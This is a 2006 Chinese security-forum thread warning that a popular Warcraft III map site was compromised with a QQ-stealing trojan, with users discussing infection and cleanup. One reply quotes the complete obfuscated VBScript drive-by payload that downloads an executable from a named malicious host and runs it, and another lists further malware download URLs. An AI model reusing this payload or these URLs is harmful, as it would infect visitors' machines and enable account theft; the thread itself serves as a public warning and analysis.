-
-
[注意]uuu9的主页被人挂马了，玩魔兽的小心了
-
发表于: 2006-11-9 09:07
-
被挂马的网址：http://war3.uuu9.com/ 和......这个网站是比较著名的魔兽地图，许多地方都有镜相连接，比如：http://games.sina.com.cn/z/war3/2/rpgmap/index_uuu9.shtml
木马名称：moi.com
木马性质：盗QQ，释放到临时目录，UPX压缩，IE插件，带驱动，而且是比较新或是重编译的，主流杀毒软件中只有最新的K8可以杀，其他的都没啥反映（严重抗议国内的杀毒软件反映迟钝）。
危害：这个挂上去应该有一段时间了，估计好多人中标了，BS网站管理员不作为，拉出去打屁屁。
木马名称：moi.com
木马性质：盗QQ，释放到临时目录，UPX压缩，IE插件，带驱动，而且是比较新或是重编译的，主流杀毒软件中只有最新的K8可以杀，其他的都没啥反映（严重抗议国内的杀毒软件反映迟钝）。
危害：这个挂上去应该有一段时间了，估计好多人中标了，BS网站管理员不作为，拉出去打屁屁。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
|
|
|---|---|
|
|
怎么才能中木马？浏览网页就ok吗？
我没中，郁闷  利用了ie什么漏洞？ |
|
|
|
|
|
打开就中标了,学艺不精，中了以后才发现。这个文件是病毒体，没做准备不要运行，我重启了一次才删干净。
木马来自:http://www.wuswei.com/i/index.htm <script language="VBScript"> on error resume next Set dfile = document.createElement("ob"&QQ67112525ddd&"ject") dfile.setAttribute "cla"&Q52fg&"ssid", "clsid:B"&fgQ6725fg&"D96C556-"&fQ6ff&"65A3-11"&fg12525&"D0-983A-"&QQ67112525&"00C04F"&QQ67112525&"C29E36" Set http = dfile.CreateObject("Micro"&QQ67112525&"soft.X"&F4sdTRhh&"MLH"&"TTP","") a1="Ad" a2="odb." a3="Str" a4="eam" set strm = dfile.createobject(a1&QQ67112525&a2&F4sdTRhh&a3&a4,"") strm.type = 1 http.Open "GET", "http://www.wuswei.com/i/admin.exe", False http.Send f1="Scri" f2="pting.Fil" f3="eSyst" f4="emObject" str13=f1&f2&f3&f4 str12=str13 set fso = dfile.createobject(str12,"") set temp = fso.GetSpecialFolder(2) filename= fso.BuildPath(temp,"moi.com") strm.open strm.write http.responseBody strm.savetofile filename,2 strm.close b1="She" b2="ll." b3="Applic" b4="ation" set exc = dfile.createobject(b1&QQ67112525&b2&F4sdTRhh&b3&b4,"") str4="open" exc.ShellExecute filename,"","",str4,0 </script> |
|
|
|
|
|
已经有人在UUU9的论坛里反映了,现在主页已经清除木马连接,看来只要在看雪发一帖,地球人就都知道了.
|
|
|
|
|
|
偷魔?+QQ的??密瘁。办斤了：
http://www.ads183.com/qq/meizi/ou.asp 另外又下了： http://www.meizi7472831.com/kanhai/229/1.exe http://www.meizi7472831.com/kanhai/229/2.exe http://www.meizi7472831.com/kanhai/229/3.exe http://www.meizi7472831.com/kanhai/229/4.exe http://www.meizi7472831.com/kanhai/229/5.exe http://www.meizi7472831.com/kanhai/229/6.exe http://www.meizi7472831.com/kanhai/229/7.exe http://www.meizi7472831.com/kanhai/229/8.exe http://www.meizi7472831.com/kanhai/229/9.exe lz把下面呃一堆也一次重起搞定了？
|
|
|
|
|
|
|
|
|
最初由 nbw 发布 当我发现中毒以后立刻断网了,然后在少于10秒内杀掉了它的进程,这段时间内仅仅下了3个文件,还没来得及执行.
|
|
|
|
|
|
|
|
|
最初由 q3 watcher 发布 病毒?放的dll注入到所有咄程中，自身文件自?除了，?有咄程阿。看?施主中毒钊深啊。
|
|
|
RUNDLL32,此时会使木马客星退出,但不幸的是注入被报警了,要不我咋知道的.之后我检查了所有新建文件,启动,服务,插件,驱动,才确认没问题的.我在学校的机器经常被中木马,我真是不理解,我的机器上又没啥好东西,QQ是垃圾号,游戏帐号里也没钱,未啥老是中毒哪?值得研究.
|
|
|
 无耻啊无耻，我远程看了一下，你的确中毒了中毒了r
|
|
|
|
|
|
|
|
|
|
|
|
 强...
|
|
|
最初由 nbw 发布 远程看了一下?怎么看见的?招,是不是你是指导挂的马.
|
|
|
为什么都中病毒呢？
这些都是利用系统的漏洞来下载的！ 难道各位都不爱打系统补丁嘛
|
|
|
|
